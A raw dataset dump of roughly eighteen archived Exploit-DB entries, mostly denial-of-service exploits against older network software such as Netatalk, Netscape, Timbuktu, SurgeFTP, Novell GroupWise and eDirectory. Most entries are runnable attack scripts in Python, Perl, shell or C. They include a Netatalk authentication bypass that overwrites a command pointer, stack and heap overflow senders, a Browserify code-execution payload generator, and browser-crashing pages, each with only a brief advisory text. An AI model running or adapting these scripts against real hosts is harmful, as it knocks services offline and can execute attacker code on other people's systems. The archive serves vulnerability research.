deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25470
Description: Neslo Desktop Rover 3.0 - Malformed Packet Remote Denial of Service
Type: dos
Platform: multiple
Date: 2005-04-20
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/13281/info

Neslo Desktop Rover is prone to a remote denial of service. Reports indicate that the software will crash when a malformed packet is processed on TCP port 61427.

A remote attacker may exploit this condition crash the software and effectively deny service for legitimate users. 

20:23:48.778009 192.168.28.133.32771 > 192.168.28.129.61427: P [tcp sum ok]
1:13(12) ack 1 win 5840 (DF) (ttl 64, id 24051, len 64)

4500 0040 5df3 4000 4006 226e c0a8 1c85
c0a8 1c81 8003 eff3 90a8 d150 7cda 8afa
8018 16d0 daab 0000 0101 080a 0000 8cbe
[PII_REDACTED] [PII_REDACTED]
Exploit-DB #22634
Description: Nessus 2.0.x - LibNASL Arbitrary Code Execution
Type: dos
Platform: multiple
Date: 2003-05-22
Author: Sir Mordred

Exploit:
source: https://www.securityfocus.com/bid/7664/info

Nessus has reported that various flaws have been discovered in the 'libnasl' library used by the Nessus application. As a result, a malicious NASL script may be able to break outside of the established sandbox environment and execute arbitrary commands on the local system.

Note that this malicious script must be a legitimate plugin that has been uploaded to the Nessus server. Furthermore, the affected Nessus application must have enabled the 'plugins_upload' option (which is disabled by default).

insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);
scanner_add_port(port : 80, proto : crap(data:'A', length:300));
ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) );
Exploit-DB #46048
Description: Netatalk 3.1.12 - Authentication Bypass (PoC)
Type: dos
Platform: multiple
Date: 2018-12-21
Author: Tenable NS

Exploit:
import socket
import struct
import sys
if len(sys.argv) != 3:
    sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header) 
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header) 
resp = sock.recv(1024)
print resp
print "[+] Fin."
Exploit-DB #19750
Description: Netopia Timbuktu Pro Remote Control 2.0/5.2.1 - Denial of Service
Type: dos
Platform: multiple
Date: 2000-02-11
Author: eth0

Exploit:
source: https://www.securityfocus.com/bid/984/info

Simple connections and disconnections to Timbuktu ports can hang the authentication process and halt all Timbuktu services. To return to normal functionality, the Timbuktu process will need to be killed and the Timbuktu service is required to be stopped and restarted. 

#!/bin/sh

##########################################
# eth0 is a member of b0f/buffer0verfl0w security  #
#
http://b0f.freebsd.lublin.pl
#
#########################################

# *Needs netcat in order to work......*
# Immune systems:
# Timbuktu Pro 2000
#
# Vulnerable systems:
# Timbuktu Pro 2.0b650 (Also incorrectly known as Timbukto)
#
# Exploit:
#  - Connect and disconnect to port TCP/407 and port TCP/1417 will start

# listening.
#  - Connect on port TCP/1417 (using a simple telnet client).
#  - Disconnect from TCP/1417 (with no data exchange).
#
# Workaround:
# - Kill Timbuktu process (using pslist/pskill for example).
# - Stop Timbuktu services.
# - Start them again.


echo "Exploit:"
echo " - Connect and disconnect to port TCP/407 and port TCP/1417 will
start listening."
echo " - Connect on port TCP/1417 (using a simple telnet client)."
echo " - Disconnect from TCP/1417 (with no data exchange)."
echo "Coded: eth0 from buffer0vefl0w security (b0f)"
echo "[http://b0f.freebsd.lublin.pl]"

echo "Checking if host is actually listening on port 407"
telnet $1 407 1>.timb.tmp 2>.timb.tmp &
echo "Sleeping 5 seconds..."
sleep 5
killall -9 telnet 1>/dev/null 2>/dev/null
cat .timb.tmp | grep "Connected" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 timb="1"
echo "[$1] is listening on port 407..."
echo "Exploiting:..."
nc $1 1417 1>/dev/null 2>/dev/null
sleep 3
killall -9 nc 1>/dev/null 2>/dev/null
echo "Done!!"
fi
if [ "$timb" != "1" ]; then
 echo "[$1] Is not listening on port 407 = doesn't exist..."
fi

# http://b0f.freebsd.lublin.pl #
Exploit-DB #1820
Description: netPanzer 0.8 rev 952 - 'frameNum' Server Terminiation
Type: dos
Platform: multiple
Date: 2006-05-23
Author: Luigi Auriemma

Exploit:
# netPanzer 0.8 rev 952 (frameNum) Server Terminiation Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1820.zip (05232006-panza.zip)

# milw0rm.com [2006-05-23]
Exploit-DB #21544
Description: Netscape 4.77 - Composer Font Face Field Buffer Overflow
Type: dos
Platform: multiple
Date: 2002-06-13
Author: S[h]iff

Exploit:
source: https://www.securityfocus.com/bid/5010/info

Netscape is a freely available web browser distributed by Netscape Communications, and available for various platforms. This vulnerability is known to affect those installations on the Linux platform.

A buffer overflow has been reported in the Composer function of Netscape. When an HTML page with a Font Face field of arbitrary length is edited using Netscape Composer, a memory corruption bug may occur that could allow the overwriting of process memory, and execution of attacker supplied code. 

<html>
<body>

<font face="X">Hola!</font>

</body>
</html>

where X is indicative of 191 or more characters.
Exploit-DB #21539
Description: Netscape 4.x/6.x / Mozilla 0.9.x - Malformed Email POP3 Denial of Service
Type: dos
Platform: multiple
Date: 2002-06-12
Author: eldre8

Exploit:
// source: https://www.securityfocus.com/bid/5002/info

The Netscape Communicator and Mozilla browsers include support for email, and the ability to fetch mail through a POP3 server. Both products are available for a range of platforms, including Microsoft Windows and Linux.

Under some circumstances, malformed email messages may prevent Netscape and Mozilla clients from accessing POP3 mailboxes. In particular, users will be unable to access more recent messages or delete the malicious email. 

/* this is the code that comes with my
 * advisory #1 to illustrate this...
 * eldre8 at afturgurluk (double dot minus one) org
 */

#include
#include
#include
#include
#include
#include
#include
#include

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr, "\b\bbye!\n");
    close(sock);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT, SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET, SOCK_STREAM, 0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr), *(hp->h_addr_list), sizeof(struct in_addr));
    if (connect(sock, &sout, sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    recv(sock, buffer, 255, 0); /* receive the banner... */
    send(sock, EHLO, sizeof(EHLO), 0);
    recv(sock, buffer, 255, 0); /* receive the welcome message... */
    send(sock, MAIL, sizeof(MAIL), 0);
    recv(sock, buffer, 255, 0); /* receive the acknowledgement to mail from. */
    send(sock, RCPT, sizeof(RCPT), 0);
    recv(sock, buffer, 255, 0); /* idem, but for the rcpt to... */
    send(sock, DATA, sizeof(DATA), 0);
    recv(sock, buffer, 255, 0);
    i=sprintf(buffer, "b4d maIl 1n 4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1, "\n.\n");
    send(sock, buffer, i+1+3, 0); /* send the dumb thing ... */
    recv(sock, buffer, 255, 0);
    send(sock, QUIT, sizeof(QUIT), 0);
    recv(sock, buffer, 255, 0);
    close(sock);

    return 0;
}
Exploit-DB #20098
Description: Netscape Communicator 4.x - JPEG-Comment Heap Overwrite
Type: dos
Platform: multiple
Date: 2000-07-25
Author: Solar Designer

Exploit:
source: https://www.securityfocus.com/bid/1503/info

Netscape Browsers use the Independent JPEG Group's decoder library to process JPEG encoded images. The library functions skip JPEG comments; however, the browser uses a custom function to process these comments and store them in memory. The comment includes a 2-byte "length" field which indicates how long the comment is - this value includes the 2-bytes of the "length" field. To determine the length of the comment string alone (for memory allocation), the function reads the value in the "length" field and subtracts two. The function then allocates the length of the comment + one byte for NULL termination. There is no error checking to ensure the "length" value is valid. This makes it possible to cause an overflow by creating an image with a comment "length" field containing the value 1. The memory allocation call of 0 bytes (1 minus 2 (length field) + 1 (null termination)) will succeed. The calculated comment size variable is declared unsigned, resulting in a large positive value (from 1 minus 2). The comment handling function goes into a loop to read the comment into memory, but since the calculated comment size is enormous this causes the function to read the entire JPEG stream, overwriting the heap. It is theoretically possible to exploit this to execute arbitrary code. The browser, mail and news readers are all vulnerable to this.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20098.jpg
Exploit-DB #22230
Description: Netscape Enterprise Server 4.1 - HTTP Method Name Buffer Overflow
Type: dos
Platform: multiple
Date: 2001-05-19
Author: Robert Cardona

Exploit:
source: https://www.securityfocus.com/bid/6792/info

It has been reported that iPlanet Web Server and Netscape Enterprise Server are prone to a remotely exploitable buffer overflow condition. This is due to insufficient bounds checking when handling HTTP requests. 

This condition is reportedly triggered when an invalid HTTP 'method name' or URI request is handled by the vulnerable server. It is possible for remote attackers to corrupt sensitive regions of memory with attacker-supplied values, possibly resulting in execution of arbitrary code.

Code execution will occur in the security context of the vulnerable web server process.

#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 2) {
print "Usage: host port\n";
exit;
}
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
################################################
sub connect() {
$sock= IO::Socket::INET->new(Proto=>"TCP",
PeerAddr=>$ARGV[0],
PeerPort=>"$ARGV[1]",)
or die "Cant connect to $ARGV[0]: $!\n";
$sock->autoflush(1);
print $sock "$overflow /index.html HTTP/1.0\n\n";
$response=<$sock>;
print "$response";
while(<$sock>){
print "$_\n";
}
close $sock;
}
Exploit-DB #25056
Description: Netscape Navigator 7.2 - Infinite Array Sort Denial of Service
Type: dos
Platform: multiple
Date: 2005-01-21
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/12331/info

Netscape Navigator is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed. 


<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>
Exploit-DB #46726
Description: Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)
Type: dos
Platform: multiple
Date: 2019-04-18
Author: Fakhri Zulkifli

Exploit:
# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)
# Date: 2018-09-05
# Exploit Author: Fakhri Zulkifli
# Vendor Homepage: https://www.nasm.us/
# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
# Version: 2.14rc15 and earlier
# Tested on: 2.14rc15
# CVE : CVE-2018-16517

asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.

PoC:
1. echo "equ   push  rax" > poc
2. nasm -f elf poc

insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().
 
   [...]
    
    if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) {    <-- not taken
        /* there's a label here */
        first = false;
        result->label = tokval.t_charptr;
        i = stdscan(NULL, &tokval);
        if (i == ':') {         /* skip over the optional colon */
            i = stdscan(NULL, &tokval);
        } else if (i == 0) {
            nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,
                  "label alone on a line without a colon might be in error");
        }
        if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {
            /*
             * FIXME: location.segment could be NO_SEG, in which case
             * it is possible we should be passing 'absolute.segment'. Look into this.
             * Work out whether that is *really* what we should be doing.
             * Generally fix things. I think this is right as it is, but
             * am still not certain.
             */
            define_label(result->label,
                         in_absolute ? absolute.segment : location.segment,
                         location.offset, true);
    [...]

static bool islocal(const char *l)
{
    if (tasm_compatible_mode) {
        if (l[0] == '@' && l[1] == '@')
            return true;
    }
    return (l[0] == '.' && l[1] != '.');  <-- boom
}
Exploit-DB #20659
Description: Netwin SurgeFTP 1.0b - Denial of Service
Type: dos
Platform: multiple
Date: 2001-03-01
Author: the Strumpf Noir Society

Exploit:
source: https://www.securityfocus.com/bid/2442/info

SurgeFTP is a FTP Server distributed and maintained by Netwin. SurgeFTP is a configurable, easily maintained ftp server, functional on both the UNIX and Windows platforms.

A problem with the SurgeFTP program could allow a denial of service to legitimate users. This is due to the handling of malformed requests made by a client. It is possible to cause the server to cease functioning by logging in, and requesting a list of first the root directory, then a list of the directory above the root directory. Upon receiving the request, the ftp server resets connections, and ceases operating.

Therefore, it is possible for a malicious user to deny service to legitimate users by passing the predescribed request to the ftp server.

# ftp localhost
Connected to testbak
220 SurgeFTP testbak (Version 1.0b)
User (testbak:(none)): anonymous
331 Password required for anonymous.
Password:
230- Alias Real path Access
230- / /home read
230 User anonymous logged in.
200 Port command successful.
150 Opening ASCII mode data connection for file list. (/)
226 Transfer complete.
ftp> ls ..
200 Port command successful.
550 Opening ASCII mode data connection for file list. (/..)
-> ftp get:Connection reset by peer
Exploit-DB #34090
Description: Node Browserify 4.2.0 - Remote Code Execution
Type: dos
Platform: multiple
Date: 2014-07-16
Author: Cal Leeming

Exploit:
#!/usr/bin/python
 
"""
Browserify POC exploit

http://iops.io/blog/browserify-rce-vulnerability/
 
To run, just do:
 
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
 
You can also spawn() and create a connect back shell.
 
Enjoy
 
"""
 
def charencode(string):
    encoded=''
    for char in string:
        encoded=encoded+","+str(ord(char))
    return encoded[1:]
 
plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
 
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
 
print "});"
print final
print "(function(){"
Exploit-DB #32194
Description: Noticeware Email Server 4.6 - NG LOGIN Messages Denial of Service
Type: dos
Platform: multiple
Date: 2008-08-06
Author: Antunes

Exploit:
source: https://www.securityfocus.com/bid/30605/info

NoticeWare Email Server NG is prone to a denial-of-service vulnerability because it fails to handle user-supplied input.

Remote attackers can exploit this issue to deny service to legitimate users.

NoticeWare Email Server NG 4.6.2 and 4.6.3 are vulnerable; other versions may also be affected. 

The following exploit example is available:

A001 LOGIN Ax5000 AAAAA
Exploit-DB #35753
Description: Novell eDirectory 8.8 and Netware LDAP-SSL Daemon - Denial of Service
Type: dos
Platform: multiple
Date: 2011-05-16
Author: Knud

Exploit:
source: https://www.securityfocus.com/bid/47858/info

Novell eDirectory and Netware are prone to a denial-of-service vulnerability.

Remote attackers can exploit this issue to cause a system-wide denial-of-service. 

#!/usr/bin/perl
      # usage: ./novell.pl 10.0.0.1 0x41424344
      use IO::Socket::SSL;
      $socket = new IO::Socket::SSL(Proto=>"tcp",
      PeerAddr=>$ARGV[0], PeerPort=>636);
      die "unable to connect to $host:$port ($!)\n" unless $socket;
      print $socket "\x30\x84" . pack("N",hex($ARGV[1])) .
      "\x02\x01\x01\x60\x09\x02\x01\x03\x04\x02\x44\x4e\x80\x00" ;
      close $socket; print "done\n";
Exploit-DB #14379
Description: Novell Groupwise Internet Agent - Stack Overflow
Type: dos
Platform: multiple
Date: 2010-07-16
Author: Francis Provencher

Exploit:
#####################################################################################
Application:   Novell Groupwise Internet Agent Stack Overflow
Platforms:   Windows, Linux, Netware (GroupWise 7.0, 7.01, 7.02, 7.03x, 7.04, 8.0, 8.01x)
Exploitation:   Remote code execution
CVE Number:   
Novell TID:  7006374
Author:   Francis Provencher (Protek Research Lab's) 
WebSite:   http://www.protekresearchlab.com/
#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2010-04-06 - Vulnerability reported to vendor
2010-07-16 - Coordinated public release of advisory
(http://www.zerodayinitiative.com/advisories/ZDI-10-129/)


#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise Internet Agent. Authentication is required to exploit this vulnerability.

The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long mailbox name to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote code execution under the context of the server.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 532

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test@proteklab.com   test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 CREATE ' + buffer + '\r\n')
s.recv(1024)
s.close()


#####################################################################################
(PRL-2010-06)
Exploit-DB #11009
Description: Novell Netware - CIFS and AFP Remote Memory Consumption Denial of Service
Type: dos
Platform: multiple
Date: 2010-01-05
Author: Francis Provencher

Exploit:
#!/usr/bin/perl
#	Novell Netware CIFS And AFP Remote Memory Consumption DoS
#	Platform: Novell Netware 6.5 SP8
#       Found by Francis Provencher for Protek Research Lab's
#	http://protekresearch.blogspot.com/
#       {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service
#       Here is a modified version from the script written by the researcher Jeremy Brown
#       http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
#

use IO::Socket;
use String::Random;

$target   = $ARGV[0];
$port     = 548;
$protocol = tcp;
$maxsize  = 666;
$random   = 0;

if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize)))
{
     print "usage: $0 <target> \n";
     exit;
}

while(1)
{
$sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port)
        or logit();

$rand   = new String::Random;
$random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";

     $sock->send($random);
     close($sock);
}